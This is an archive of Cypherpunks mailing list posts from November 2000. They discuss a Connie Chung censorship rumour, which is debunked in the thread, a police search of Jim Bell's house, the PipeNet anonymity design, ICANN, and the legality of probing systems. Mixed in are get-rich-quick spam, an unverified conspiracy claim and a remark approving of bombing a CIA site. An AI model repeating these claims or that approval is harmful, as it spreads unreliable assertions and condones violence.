that's REALLY where alien bodies are stored and their autopsies conducted, and the warehouses I can see from the highway look "exactly" like the ones where the Ark of Covenant is stored. B>) ). Neil M. Johnson njohnson at interl.net http://www.interl.net/~njohnson PGP Key Finger Print: 93C0 793F B66E A0C7 CEEA 3E92 6B99 2DCC ----- Original Message ----- From: "Gary Jeffers" To: Sent: Saturday, November 04, 2000 10:20 PM Subject: CDR: Connie Chung fucks up & things are not as they seem.A good example of the tremen > My fellow Cypherpunks, The following is interesting. > > > http://www.albany.net/~rwcecot/iraap/Quinn/phoenix1.htm > > find string: Connie Chung > > > A good example of the tremendous degree to which the major news media > organizations are called to heel is seen in the facts surrounding the two > year hiatus in the professional career of CBS broadcaster Connie Chung, who > had the misfortune to have ended up being paired with Dan Rather several > years ago. > > On a live call-in TV talk show some two years ago, Ms. Chung responded with > a bit too much candor to a question as to what actually gets reported > publicly by the major news media, given the great number of stories and > items which come from the numerous sources of "raw" information. How are the > stories which get the attention of the media chosen and by whom? > > Connie Chung replied to the effect that it wasn't too hard to decide what > stories get aired--they just checked with Washington D.C. to see what had > been cleared for publication by the government. > > As a result of her being foolish enough to tell the truth in what was likely > just a naive, probably unintentional and inadvertent slip, within no more > than a few hours Ms. Chung was out of a job and remained blacklisted in the > industry for a good two years, only resurfacing in 1998 with a position at > ABC--sufficiently chastened, some no doubt believe, to allow her to grace > the public airwaves once again. > > Yours Truly, > Gary Jeffers > > BEAT STATE!!! > _________________________________________________________________________ > Get Your Private, Free E-mail from MSN Hotmail at http://www.hotmail.com. > > Share information about yourself, create your own public profile at > http://profiles.msn.com. > From ptrei at rsasecurity.com Mon Nov 6 07:25:45 2000 From: ptrei at rsasecurity.com (Trei, Peter) Date: Mon, 6 Nov 2000 10:25:45 -0500 Subject: CDR: RE: Connie Chung fucks up & things are not as they seem.A good ex ample of the tremen Message-ID: Seeing as the rest of this site is talking about crop circles and UFOs, I think I can ignore this report. Peter Trei [While it's not impossible for UFO-nuts to stumble across something real, their inability to distinguish reality from fantasy indicates a lack of critical faculty. In a world where the flow of claim and counterclaim has an intensity not unlike standing underneath a waterfall, filtering is essential. This claim fails one of my first level filters. PT] > ---------- > From: Gary Jeffers[SMTP:jeffersgary at hotmail.com] > Reply To: Gary Jeffers > Sent: Sunday, November 05, 2000 1:42 AM > To: declan at well.com > Cc: cypherpunks at cyberpass.net > Subject: Re: Connie Chung fucks up & things are not as they seem.A > good example of the tremen > > > Declan McCullagh writes: > > > >Source? TV show? Date? Transcript? > > > >-Declan > > > Declan, my source is the net address listed below. At > the top of that page are a "general info" button and a > "contact us" button. Under "general info" they list > info at iraap.org as their email address. They also list > there their snail mail address. > > That's all I know of the source. This looks like a job > for an investgative reporter such as yourself:-) Sorry I > am not more helpful. If you can actually validate from > tv network sources that that sequel occurred, you will have a great big > can > of worms to play with :-) > -Good luck! > > > > > > >On Sat, Nov 04, 2000 at 10:20:10PM -0600, Gary Jeffers wrote: > > > My fellow Cypherpunks, The following is interesting. > > > > > > > > > http://www.albany.net/~rwcecot/iraap/Quinn/phoenix1.htm > > > > > > find string: Connie Chung > > > > > > > > > A good example of the tremendous degree to which the major news media > > > organizations are called to heel is seen in the facts surrounding the > >two > > > year hiatus in the professional career of CBS broadcaster Connie > Chung, > >who > > > had the misfortune to have ended up being paired with Dan Rather > several > > > years ago. > From commerce at home.com Mon Nov 6 07:55:54 2000 From: commerce at home.com (Me) Date: Mon, 6 Nov 2000 10:55:54 -0500 Subject: CDR: Re: Wired News Senate scorecard: Democrats beat Republicans References: <4.3.0.20001106095536.01b7a530@mail.well.com> Message-ID: <006301c0480a$0c215dc0$0100a8c0@matthew> From: "Declan McCullagh" > Just in time for Tuesday's election, Wired News has compiled a tech > scorecard for the U.S. Senate. > #4: A vote to require federal candidates to disclose contributions > online within 24 hours. (Yes is 1) #5: A vote to require donors to federal candidates to disclose their motivations for making contributions online within 24 hours. (Yes is 1) From blancw at cnw.com Mon Nov 6 11:25:38 2000 From: blancw at cnw.com (Blanc Weber) Date: Mon, 6 Nov 2000 11:25:38 -0800 Subject: CDR: Jim Bell's House Being Searched Message-ID: Just received word from Jim that there are some law enforcement types going through a search of his house, apparently with 'authorization'. He was downstairs when his mother let them in, so says he didn't know what their explanation was for their appearance, what they were looking for, or what his mother had to say to them or vice-versa. If possible he will post info and details to cpunks later. .. Blanc From jamesd at echeque.com Mon Nov 6 08:34:28 2000 From: jamesd at echeque.com (James A. Donald) Date: Mon, 6 Nov 2000 11:34:28 -0500 Subject: CDR: Re: US report urges Arafat to use torture for peace In-Reply-To: <438f5b53521dca6382cdd2535f5435ba@mixmaster.shinn.net> Message-ID: <4.3.1.2.20001106082210.02302c80@shell11.ba.best.com> -- At 11:14 PM 11/5/2000 -0500, An Metet wrote: > Palestinian leaders have been shocked to read an American think-tank > report which urges them to act "ruthlessly" against opponents of the > Oslo agreement P even if this involves "excessive force", trials > without due process of law and "interrogation methods that border on > psychological and/or physical torture." This reminds me of that scene in "Casablanca" where the chief of police piously announces "I am shocked" --digsig James A. Donald 6YeGpsZR+nOTh/cGwvITnSR3TdzclVpR0+pr3YYQdkG AqIh84L/adi58eNvUtlhV1xJRkfuvGmkPNkbyS6P 4UtSirjWtneuRiKEw7rXSd2S+S8JCLhrcBGgGEYXp From tom at ricardo.de Mon Nov 6 02:55:04 2000 From: tom at ricardo.de (Tom Vogt) Date: Mon, 06 Nov 2000 11:55:04 +0100 Subject: CDR: Re: [IFWP] Re: Ken Stubbs @ core deletes vote-auction.com References: Message-ID: <3A068E08.584F61C3@ricardo.de> Jim Dixon wrote: > Nevertheless, what has happened here demonstrates a basic flaw at the > heart of the domain name system. ICANN and many essential Internet > resources remain subject to US jurisdiction. ICANN itself is just a > California corporation, so it is subject to the passing whims of the > California legislature as well as those of Congress, the executive > branches, and various and sundry US state and federal courts. right. it should be icann.int instead of icann.org - while the UN has it's seat in new york, it can at least keep a front of not being a long arm of the US government. incidently - all the DNS crazyness may lead to a "new regionalism". I know for a fact that the next domains I register will be .de domains, not .net or .org as my current ones all are. actually, I plan to operate a (small but) worldwide business on a .de domain. primary reason: not to get fucked over by some who decides on a windy morning that cyberspace is a state of the USofAssholes. From adamb at zeroknowledge.com Mon Nov 6 08:57:01 2000 From: adamb at zeroknowledge.com (Adam Back) Date: Mon, 6 Nov 2000 11:57:01 -0500 Subject: CDR: Re: PipeNet protocol Message-ID: <3A06E2C1.642F1853@zeroknowledge.com> Tom Vogt writes: > > This is to defend against active attacks delaying packets to observe > > the effect on the network and hence trace routes. > > I don't understand the necessity of this. if the amount of traffic is a > constant anyway, a delay would vanish at the first node. > > e.g. my upstreams provider sends out x bytes every time unit, no matter > whether or not he gets anything from me. when I stop sending, nothing in > his traffic pattern changes. You're presuming hop-by-hop padding, Wei is presuming end-to-end padding. His threat model is that some fixed set of switches is compromised: | The adversary may control a fixed subset of the nodes. Also you'll note in the scheduling description that there is nothing about switches adding or removing padding. I think Wei is implicitly considering that this is done by the caller and receiver (who open links and keep the full until they close them). Even closing links is mixed to prevent closure leaking too much: | The process of making and breaking connections must also not leak | information. This can be done by using a protocol analogous to mix-net. | Link forming/destroying requests are queued and performed in batches in a | way similar to queuing and mixing of e-mail in a mix-net. Adam From tom at ricardo.de Mon Nov 6 02:58:05 2000 From: tom at ricardo.de (Tom Vogt) Date: Mon, 06 Nov 2000 11:58:05 +0100 Subject: CDR: Re: FW: BLOCK: AT&T signs bulk hosting contract with spammers References: Message-ID: <3A068EBD.A46DEE2F@ricardo.de> Gil Hamilton wrote: > Hence, the obvious solution is to make it *cost money to send mail* > (or to use any other network resource). Combine that with automated > reputation handling -- charge a small fee to accept mail from > "unknown" parties -- and this both reduces spam and shifts the cost of > resource usage to those using the resources. Of course, this won't > completely eliminate spam -- nor arguably *should* it -- but it has > the potential to make it less cost-effective that it is now -- where > the cost is effectively zero once you've amassed your list of > addresses. This would at least make spammers aim at a more > tightly-focused target market. nice idea - micropayment and all. (i.e. a mail would cost $0.0001 so that ordinary people don't exactly pay anything). however - here's a bummer: you've got a chance of pretty much 0.00% to move into that direction, because a different system is already in place. since it works reasonably well, it'll not get replaced, not even by a vastly superior one. that's just how things work. unfortunately. From tcmay at got.net Mon Nov 6 11:59:47 2000 From: tcmay at got.net (Tim May) Date: Mon, 6 Nov 2000 11:59:47 -0800 Subject: CDR: Re: Jim Bell's House Being Searched In-Reply-To: References: Message-ID: At 11:25 AM -0800 11/6/00, Blanc Weber wrote: >Just received word from Jim that there are some law enforcement types going >through a search of his house, apparently with 'authorization'. He was >downstairs when his mother let them in, so says he didn't know what their >explanation was for their appearance, what they were looking for, or what >his mother had to say to them or vice-versa. > Maybe his use of Mapquest and other commonly available tools to identify those CIA safe houses in Oregon are the issue. As with the "Ilegal to Possess Hacking or Reverse Engineering Tools" laws, perhaps Mapquest is now on the contraband list. Or maybe John Young's spook father-in-law has finally decided that enough is enough and that it's time to crack down on all of these liberty-spouting radicals. In any case, which of us will be next? --Tim May -- ---------:---------:---------:---------:---------:---------:---------:---- Timothy C. May | Crypto Anarchy: encryption, digital money, ComSec 3DES: 831-728-0152 | anonymous networks, digital pseudonyms, zero W.A.S.T.E.: Corralitos, CA | knowledge, reputations, information markets, "Cyphernomicon" | black markets, collapse of governments. From tom at ricardo.de Mon Nov 6 03:09:44 2000 From: tom at ricardo.de (Tom Vogt) Date: Mon, 06 Nov 2000 12:09:44 +0100 Subject: CDR: Re: Tim May's anti-semitic rants References: Message-ID: <3A069178.29C7E42@ricardo.de> Jim Choate wrote: > Yes you have, the 'government' are the poeple. This schizo view of > government as if it was some stand alone entity that decends from the > heavens to enslave mankind is what is bullshit. > > "Let's get rid of the government." > > "Ok, who do we shoot first?" > > This describes the fundamental flaw of anarchy. I disagree. "the government" is a term for more than the people, even for more than the people making up "the government". lumb them all into a football stadium and you don't have a government - just a bunch of people. there's an organizational structure that makes up "the government", and in most western countries it's stronger than the people - you can basically exchange them all without too much of a change to "the government" (as proven after every election). but change the structure while retaining the people and you end up with something completely different (e.g. germany's transition from the weimar republic to the third reich). in that sense "let's get rid of the government" *can* be interpreted as "let's tear down these structures". it not always *is* meant that way, but it *can*. and of course the opinions about what to replace it with differ a lot. but most of those who are anti-government don't so much say "let's kill president X or minister Y" as rather "the voting system is crap" or "government is bought by the big corporations" or "there should be no authority at all" or something to that effect, which is definitely a *structural* as opposed to a *personal* complaint. From bill.stewart at pobox.com Mon Nov 6 12:40:40 2000 From: bill.stewart at pobox.com (Bill Stewart) Date: Mon, 06 Nov 2000 12:40:40 -0800 Subject: CDR: Re: Minesweeper and defeating modern encryption technology In-Reply-To: References: <3.0.5.32.20001105234753.00b10250@idiom.com> Message-ID: <3.0.5.32.20001106124040.0091c5c0@idiom.com> At 07:34 AM 11/6/00 -0600, Jim Choate wrote: >Dave's right, you're not. While it is true a NDTM has a guessing module >before that 'guessed' state causes the NDTM to change to the resultant >state there is a level of PROOF involved. It is required to prove the >answer is right. > >There is NO magic in an NDTM, it doesn't pull the correct answer out of >the air. > >The distinction at this level between a NDTM and a probabilistic TM is >that a PTM doesn't check the result at time of selection but after. >It's the algorithm that the Turing machine is running that does the checking. >In a NDTM it is the 'guessing module'. > >The real question related to a NDTM is 'if you have a algorithm that >allows you to guess answers and verify them before submission for >execution' why are you executing the algorithm? You already know the >answer is correct. > >See: > >http://www.hissa.nist.gov/dads/HTML/nondetrmtur.html It's actually http://hissa.nist.gov/dads/HTML/nondetrmtur.html with no www. >"Definition: A turning machine which has more than one next state for some >combination of contents of the current cell and current state. An input is >accepted if any move sequence leads to acceptance." > >In other words you have to have a 'input verifier' that verifies the data >is good before the next state(s) are entered. Note this means your >verification function can't be NP. You're still not getting what the non-deterministic Turing machine does. The problem is structured as a decision-making problem, where an input is "accepted" if the Turing machine halts in an accept state, meaning the set of input is a valid solution to the problem (sometimes leading to ugly convoluted problem definitions if you're really trying to find an optimum rather than a yes-no problem like a Hamiltonian or 3-SAT), or rejected if it halts in a rejection state (where the proposed answer is not a valid solution), or doesn't halt (if it's an annoying problem+input.) "An input is accepted if any move sequence leads to acceptance" means that there's some collection of next states (bits of answer) that leads to the an accept state. How do you know _which_ input value leads to acceptance? That's the magic part. If there are N bits of input, there are 2**N possible move sequences, of which the existence of one correct sequence leads to acceptance. >It most assuradely has NOTHING to do with the question of how one builds a >'universal sentence parser' that can return a verifiable yes/no as to >validity when Godel's says all sentences don't necessarily have a valid >result (ie they aren't provably consistent). I don't think anybody's claimed that it has - the Satisfiability problem and the subset 3-SAT problem don't deal with all Boolean problems, just ones with a particular form. Thanks! Bill Bill Stewart, bill.stewart at pobox.com PGP Fingerprint D454 E202 CBC8 40BF 3C85 B884 0ABE 4639 From tom at ricardo.de Mon Nov 6 03:41:56 2000 From: tom at ricardo.de (Tom Vogt) Date: Mon, 06 Nov 2000 12:41:56 +0100 Subject: CDR: Re: The Ant and the Grasshopper References: <19531812bff4c71ed186f95b1657568d@digilicious.com> Message-ID: <3A069904.7898F760@ricardo.de> Anonymous wrote: > > CLASSIC VERSION > > The ant works hard in the withering heat all summer long, building his > house and laying up supplies for the winter. The grasshopper thinks he's > a fool and laughs, dances, and plays the summer away. Come winter, the > ant is warm and well fed. The grasshopper has no food or shelter so he > dies out in the cold. > > MODERN VERSION [...snip...] AMERICAN VERSION The ant works hard in the withering heat all summer long, building his house and laying up supplies for the winter. The grasshopper thinks he's a gool and laughs, dances, and plays the summer away. Come winter, the ant is warm and well fed. The grasshopper has no food or shelter. So he calls up his lawyer who drafts a bogus lawsuit. In the end, both the lawyer and the grasshopper are feeding and the ant dies out in the cold. From tcmay at got.net Mon Nov 6 13:24:13 2000 From: tcmay at got.net (Tim May) Date: Mon, 6 Nov 2000 13:24:13 -0800 Subject: CDR: Re: Jim Bell's House Being Searched In-Reply-To: <041101c04833$a324e510$0100a8c0@matthew> References: <041101c04833$a324e510$0100a8c0@matthew> Message-ID: At 3:53 PM -0500 11/6/00, Me wrote: >From: "Tim May" >> >Just received word from Jim that there are some law >> > enforcement types going through a search of his house >> In any case, which of us will be next? > >If its you, I expect I will hear about it on CNN before >Cypherpunks. Unlikely to make CNN. A couple of raids I know about in other California towns, including Modesto and Taft, never got any attention from the national press. It takes a "high visibility" case, like the black actor blown away in L.A., or the black Haitian blown away in NYC, to generate national interest. A white guy getting shot by cops is just part of the business of getting rid of right wing extremists. Amerika--obey it or leave it. --Tim May -- ---------:---------:---------:---------:---------:---------:---------:---- Timothy C. May | Crypto Anarchy: encryption, digital money, ComSec 3DES: 831-728-0152 | anonymous networks, digital pseudonyms, zero W.A.S.T.E.: Corralitos, CA | knowledge, reputations, information markets, "Cyphernomicon" | black markets, collapse of governments. From ttpmember at mailcity.com Mon Nov 6 14:14:50 2000 From: ttpmember at mailcity.com (ttpmember at mailcity.com) Date: Mon, 06 Nov 2000 14:14:50 -0800 (PST) Subject: CDR: Coastal Message-ID: <0G3M00EG6J4PD4@mta6.snfc21.pbi.net> Dear Friend, We can show you a way to make some serious money, very quickly. You have the option of starting in this program with $0 out of pocket. Yet it pays an incredible $1,000 per sale, as well as an astounding $1,000 for everyone's first 2 sales under you to infinity! In just a few short weeks you will have people literally rolling into your down line from the cold market because our turn-key system is hands down the easiest in the world. I call it the "BIG EASY". Follow it consistently, and you will win every time. All the testing and hard work have been done for you. All you have to do is plug yourself into a system that will bring fist-full of orders! Let our "genius marketing plan" do the selling and you simply refer others to it and make $1,000 per sale! www.coastclub.8k.com Tom From obfuscation at beta.freedom.net Mon Nov 6 11:20:54 2000 From: obfuscation at beta.freedom.net (obfuscation at beta.freedom.net) Date: Mon, 6 Nov 2000 14:20:54 -0500 Subject: CDR: Re: PipeNet protocol Message-ID: <200011061920.OAA10692@domains.invweb.net> What if you eliminated the anonymity of caller to receiver, and only tried to achieve traffic analysis resistance. That is, a receiver can find out who is calling him, but if the caller and receiver are honest and desire privacy, a third party cannot find out they are communicating. Does this allow for a more efficient design? Can the intermediate switch nodes now handle delays by inserting dummy traffic, which can only be recognized as such by the other end (caller or receiver)? Ob From tom at ricardo.de Mon Nov 6 05:21:37 2000 From: tom at ricardo.de (Tom Vogt) Date: Mon, 06 Nov 2000 14:21:37 +0100 Subject: CDR: RE: FW: BLOCK: AT&T signs bulk hosting contract with spammers References: Message-ID: <3A06B061.812D1833@ricardo.de> Jim Choate wrote: > my cycles not the person sending the spam. When they send their probe out > to my mailer to determine it's configuration without permission that is > trespassing. It is the same as if they came onto my property to determine > how I configure my VCR. That the computer is accessible through a public > channel is as irrelevant to the issue as the fact that the street in front > of my house that connects with my driveway is public as well. but on the other hand, we *do* want to keep cracking legal (at least to some extend) because otherwise what is left of security in cyberspace will quickly vanish into oblivion, right? as a matter of fact, *probing* my machine is nothing I'm worried about. if you like, you can come over and probe all you want. if you find something that should worry me, it would be nice of you to tell me first. but if you dump half a million mails on my server, *that* is not acceptable. From tom at ricardo.de Mon Nov 6 05:22:29 2000 From: tom at ricardo.de (Tom Vogt) Date: Mon, 06 Nov 2000 14:22:29 +0100 Subject: CDR: Re: Bush took ss# off his Texas license!!! References: <200011042250.RAA17165@www0.aa.psiweb.com> Message-ID: <3A06B095.8B31E63E@ricardo.de> George at orwellian.org wrote: > # There's no SS# on a Texas DL, never has been. There is a DL# that is 8 > # digits in length (and related to time and place of initial license > # application, not SS#). > > Then someone in tx.politics was wrong (and I passed it along). > > But now I'm confused (no cracks please): why change your > driver's license number if it doesn't mean anything special? > > He did change it. the article spoke about drinking. most likely, driving drunk is recorded somewhere (if they get you), and most likely tied to your DL#. From apoio at giganetstore.com Mon Nov 6 06:27:25 2000 From: apoio at giganetstore.com (apoio at giganetstore.com) Date: Mon, 6 Nov 2000 14:27:25 -0000 Subject: CDR: Giganetstore.com Apresenta Oficina do Livro Message-ID: <06ef725271406b0WWWNETSTORE@wwwnetstore> Metacarne Manuel Pais Metacarne – para além da carne – é a segunda ficção de Manuel Pais. Um romance integralmente situado num mundo dominado\subordinado pelas novas tecnologias ( internet, correio electrónico, diálogos on line). Nem a própria formatação do texto escapa a esta envolvente. O livro desafia o leitor a supor que está perante um monitor ligado á net e utiliza as terminologias e códigos específicos desse meio. A história é complementada por um ABC, em jeito de glossário, que orienta e ensina os “ciber-amadores”. Virada do Avesso Maria João Lopo de Carvalho Vidas tecidas de pequenos instantes que nada têm de pequenos nem de instantes. Uma história de hoje, na Lisboa de hoje. Teresa, Diogo, Eduardo, Luísa, caminhos desencontrados, ou talvez paralelos, onde todos partilham com a mesma intensidade o amor ou o desamor, a alegria transbordante ou a dor verdadeira. Barely Legal Pedro Paixão “Barely Legal” é um álbum que reúne textos e fotografias originais de Pedro Paixão. Através destes dois meios, o autor conta diferentes histórias, mantendo os temas recorrentes da sua obra – o amor, o sexo, a paixão, a beleza, a dor, a morte. Aos textos, utilizando um estilo fragmentado próprio do autor, junta-se uma sequência de 40 fotografias, na sua origem Polaroids. Todo o Livro, textos e fotos, é atravessado por uma linha fortemente sensual. Não Há Coincidências Margarida Rebelo Pinto Quando uma mulher não ama um homem, gosta de vários. Vera tem 35 anos, um caso mal resolvido com João, um namorado de circunstância chamado Tiago, e Luis, um amante mais velho com quem passa bons momentos... -Calor! Miguel Angelo Luís, jovem arquitecto, seria um Thirysomething absolutamente normal no ano 2000, se a sua vida não tivesse começado a dar voltas, lá por meados dos anos 80. Só que “-Calor!” deu cabo da sua história e da sua vida. Viu-se então envolvido, juntamente com outras personagens-tipo, numa viagem sem regresso a um passado não muito distante e a um futuro delirante. Á procura da consciência, Luís é apenas mais uma auto vítima dos excessos que todos nós cometemos Coragem, Eduardo! Eduardo Barroso “... Tudo felizmente acabou em bem. E apesar de naquele caso eu me ter sentido completamente inocente mas cem por cento responsável, forma as mais maravilhosas palavras que jamais algum doente ou seu familiar me podiam ter dedicado”. Fique atento! Pois dentro de dias irá estar disponível para encomenda o último livro de: Margarida Rebelo Pinto " As Crónicas da Margarida " Para retirar o seu email desta mailing list deverá entrar no nosso site http://www.giganetstore.com , ir à edição do seu registo e retirar a opção de receber informação acerca das nossas promoções e novos serviços. -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: text/html Size: 7512 bytes Desc: not available URL: From tom at ricardo.de Mon Nov 6 05:51:35 2000 From: tom at ricardo.de (Tom Vogt) Date: Mon, 06 Nov 2000 14:51:35 +0100 Subject: CDR: Re: Applying California law to ICANN References: <001501c04765$22ddbcc0$a6d11018@vncvr1.wa.home.com> <012a01c04787$bed28a80$a6d11018@vncvr1.wa.home.com> Message-ID: <3A06B767.D3D2A0A0@ricardo.de> jim bell wrote: > The SPLC satisfies the description of "hate group" at least as much, and > probably more so, than any of the groups that it catalogs and denigrates. > Which suggests that ICANN should be contacted, with a demand that they > de-list SPLC for the appropriate reasons. Naturally, they'll come back with > all sorts of 1st-amendment reasons they shouldn't, all of which should have > been applied to the vote-swap issue. one should go exploring the borders. will ICANN fall over to a *different* major western government? for a minor eastern government? for some 3rd world dictator? for Iraq or Cuba? if they demand the "de-listing" of some US government website which violates some strange iraqi law? From abs at squig.org Mon Nov 6 14:55:41 2000 From: abs at squig.org (Alex B. Shepardsen) Date: Mon, 6 Nov 2000 14:55:41 -0800 (PST) Subject: CDR: Jim Bell's House Being Searched In-Reply-To: Message-ID: Amusing. I commented to one of my classmates last week that it wasn't going to be too long before Jim stuck the ugly stick in the wrong eye and someone reacted. Since when is the use of "whois" illegal? Mapquest? Public DMV records? Jim may be "invading the privacy" of these CIA agents, but if they have been negligent enough to allow that information to become public, it's their own fault. I don't recall Jim advocating any action against said CIA installation. He was just reporting public information, and making inquiries. No bombing requests... not that anyone here would be really upset if such a thing happened... Do you know what law enforcement agency these "types" represent? Can we get names and badge numbers? Hopefully we'll hear from Jim soon. Alexandra On Mon, 6 Nov 2000, Blanc Weber wrote: > Just received word from Jim that there are some law enforcement types going > through a search of his house, apparently with 'authorization'. He was > downstairs when his mother let them in, so says he didn't know what their > explanation was for their appearance, what they were looking for, or what > his mother had to say to them or vice-versa. > > If possible he will post info and details to cpunks later. > > .. > Blanc > From abs at squig.org Mon Nov 6 15:19:04 2000 From: abs at squig.org (Alex B. Shepardsen) Date: Mon, 6 Nov 2000 15:19:04 -0800 (PST) Subject: CDR: Re: AT&T signs bulk hosting contract with spammers In-Reply-To: Message-ID: On Mon, 6 Nov 2000, Jim Choate wrote: > On Mon, 6 Nov 2000, Tom Vogt wrote: > > no. the argument is: if you make probing illegal, we'll see even more > > (and *much* more) "security through obscurity" - because figuring out > > that this crap is insecure will land you in jail. > > Going to jail won't stop anyone from figuring it out if that's what they > want. I would be so bold as to suggest that if they make it illegal then > you'll see a significant rise in the behaviour, along with increased use > of anonymous remailers and Open Source software than can be kludged. I have been thinking about the DMCA recently, in respect to the limited ability granted to researchers for analysis of security protocols. I doubt we'll see a significant rise in the reverse engineering of security protocols. We *will* see a rise in the use of anonymous remailers to reveal vulnerabilities, but overall, I think that such research will decrease. Would GSM have been broken if the researchers couldn't have taken credit for it? Inside the NSA it would have been, surely. But where is the incentive for private researchers to attack these protocols if they can't take public credit for their work? The allowances that the DCMA makes for academic research is not sufficient to continue to provide motivation for such research. Which is exactly what the manufacturers want: security through obscurity, and obscurity through legality. Alex From commerce at home.com Mon Nov 6 12:53:22 2000 From: commerce at home.com (Me) Date: Mon, 6 Nov 2000 15:53:22 -0500 Subject: CDR: Re: Jim Bell's House Being Searched References: Message-ID: <041101c04833$a324e510$0100a8c0@matthew> From: "Tim May" > >Just received word from Jim that there are some law > > enforcement types going through a search of his house > In any case, which of us will be next? If its you, I expect I will hear about it on CNN before Cypherpunks. From galt at inconnu.isu.edu Mon Nov 6 14:56:44 2000 From: galt at inconnu.isu.edu (John Galt) Date: Mon, 6 Nov 2000 15:56:44 -0700 (MST) Subject: CDR: Re: Test Ignore In-Reply-To: <1d2835414c002ecb1459c1ff6db46020@anonymous> Message-ID: bash: Dick: not found On 4 Nov 2000, Secret Squirrel wrote: > Test Dick > -- There is no problem so great that it cannot be solved with suitable application of High Explosives. Who is John Galt? galt at inconnu.isu.edu, that's who! From abs at squig.org Mon Nov 6 16:38:39 2000 From: abs at squig.org (Alex B. Shepardsen) Date: Mon, 6 Nov 2000 16:38:39 -0800 (PST) Subject: CDR: Re: AT&T signs bulk hosting contract with spammers In-Reply-To: Message-ID: On Mon, 6 Nov 2000, Jim Choate wrote: > > On Mon, 6 Nov 2000, Alex B. Shepardsen wrote: > > > Would GSM have been broken if the researchers couldn't have taken credit > > for it? > > Yes. There would have been a very increased motivation for doing so by > many groups who would benefit from being the only part who had the > information. Ah, but would you or I know that it had been broken? You've missed my point, Choate. Public disclosure of security vulnerabilities happens because of researchers and groups who work for recognition. > Profit is a strong motive. If people cannot gain recognition for having broken a system, they will not profit from revealing that said system is broken, unless perhaps they are the developers of a competing system. So, perhaps Sprint or AT&T or one of the CDMA/TDMA cell network providers would have put researchers on the problem of breaking A5/1... but who else would have had the motivation *and* would benefit from the public knowing that it wasn't secure? And besides, I think it would probably have been less legal for Sprint to reverse-engineer GSM than the SDA/Berkeley folks. So my point stands. Systems will still be broken, but will be broken by the "bad guys" and the public will not be notified. Alex From ravage at ssz.com Mon Nov 6 14:49:06 2000 From: ravage at ssz.com (Jim Choate) Date: Mon, 6 Nov 2000 16:49:06 -0600 (CST) Subject: CDR: Re: AT&T signs bulk hosting contract with spammers In-Reply-To: <3A06BE71.DEA45E0D@ricardo.de> Message-ID: On Mon, 6 Nov 2000, Tom Vogt wrote: > Jim Choate wrote: > > > but on the other hand, we *do* want to keep cracking legal (at least to > > > some extend) because otherwise what is left of security in cyberspace > > > will quickly vanish into oblivion, right? > > > > What security? I've never had or made any claims that cyberspace was > > secure. Even in its nascent days. > > you're right. that's why I said "what's left of it". But if it wasn't ever there how can there be any left of it? > > Are you possibly confusing 'privacy' (which has the same issue) and > > 'security'? > > no. the argument is: if you make probing illegal, we'll see even more > (and *much* more) "security through obscurity" - because figuring out > that this crap is insecure will land you in jail. Going to jail won't stop anyone from figuring it out if that's what they want. I would be so bold as to suggest that if they make it illegal then you'll see a significant rise in the behaviour, along with increased use of anonymous remailers and Open Source software than can be kludged. ____________________________________________________________________ He is able who thinks he is able. Buddha The Armadillo Group ,::////;::-. James Choate Austin, Tx /:'///// ``::>/|/ ravage at ssz.com www.ssz.com .', |||| `/( e\ 512-451-7087 -====~~mm-'`-```-mm --'- -------------------------------------------------------------------- From tom at ricardo.de Mon Nov 6 08:02:30 2000 From: tom at ricardo.de (Tom Vogt) Date: Mon, 06 Nov 2000 17:02:30 +0100 Subject: CDR: Re: Connie Chung fucks up & things are not as they seem.A good example of the tremen References: Message-ID: <3A06D616.E1C9CDE9@ricardo.de> "Trei, Peter" wrote: > > Seeing as the rest of this site is talking about crop circles and > UFOs, I think I can ignore this report. five minutes search on google turn up no "2 year hibernation" in her resume. while it appears that she wasn't very active 1995-1997, that appears to have been because she was pursuing opportunities outside the primetime TV business. and she was definitely not inactive in 1997/1998 since she got a few rewards for her work during that period. something like a date "she vanished from X to Y" would greatly raise the believability value of this story. From williams at gund.com Mon Nov 6 17:13:27 2000 From: williams at gund.com (williams at gund.com) Date: Mon, 6 Nov 2000 17:13:27 -0800 (PST) Subject: CDR: Perfect HOME WORK! for You - cypherpunks -KQSR Message-ID: <200011070113.RAA20559@cyberpass.net> Dear cypherpunks! Learn the most known Perfect Home Business System! Start Home Work! Begin Own Internet Home Business! Make REAL MONEY from Internet! Just go to any of mirrors: http://www.geocities.com/perfhomebiz/ http://www.virtue.nu/perfhomebiz/ **************************************************************** ******** This message is sent in compliance of the proposed bill: SECTION 301. Per Section 301, Paragraph (a)(2)(C) of S. 1618, further transmissions to you by the sender of this email may be stopped at no cost to you by sending a reply to to this email address with the word REMOVE in the subject line. From adam at r00t.besiex.org Mon Nov 6 14:21:00 2000 From: adam at r00t.besiex.org (Adam Back) Date: Mon, 6 Nov 2000 17:21:00 -0500 Subject: CDR: Re: PipeNet protocol Message-ID: <200011062220.RAA01147@r00t.besiex.org> Wei wrote: > > However I think this scheduling algorithm would have the side effect > > of making this variant of PipeNet very vulnerable to DoS attacks. > > Any user can arbitrarily delay packet delivery for the entire > > network by ceasing to send packets. > > > > It would also seem that performance would degrade badly to > > effectively the performance of the worst ping time link. > > That is all true. I guess what you meant by "insufficient" is in terms > of performance and defense against DoS attacks, not defense against > traffic analysis. Adam Shostack made the comment about insufficiency of padding in PipeNet you're referring to. I discussed insufficiency of padding in the _freedom network_ as a traffic analysis countermeasure in email with some folks who can speak up if they wish. This is because freedom does not use the synchronous approach for performance reasons and hence some active attacks remain even if you had end-to-end padding between client and exit node. End-to-end padding in the PipeNet synchronous mix-net does appear to be sufficient to provide good security against traffic analysis, but it has the DoS vulnerability and performance problems we discussed in the last pair of posts. > There is a hope, however, that the performance and DoS problems of > PipeNet could be solved in the future through other means. The > performance issue is easier, since it just requires the underlying > network to have better reliability and guarantee of service. The DoS > problem could be solved if the underlying network is protected > against DoS. Then we can require each user to place a large deposit > on each node, which would be used to compensate everyone else for > any delay caused by that user. It seems to me that with the current internet TCP properties you would have to distinguish network congestion from DoS attempts, which is not generally possible. Even if the Quality of Service (QoS) protocols were implemented and widely deployed, people still put backhoes through cables or have catastrophic equipment failures now and then. I suppose you could have compensation or insurance from the QoS enabled service provider and use that compensation to compensate you for the loss of the anonymity network good behavior bond. > I think a protocol that has good performance, defense against DoS > attacks, and defense against traffic analysis may not exist. There > may not even be a viable protocol that trades off between these > properties. Well if we look at the problem there are three properties we desire the system to have: 1. high security (idealised resistance to traffic analysis) 2. performance (reasonable performance which doesn't degrade as the network grows) 3. DoS resistance (reasonable resistance to DoS -- DoS or network outages should be local and not take out the entire network) It seems to me that we can have at most 2 of those. PipeNet provides 1, but not 2 or 3. 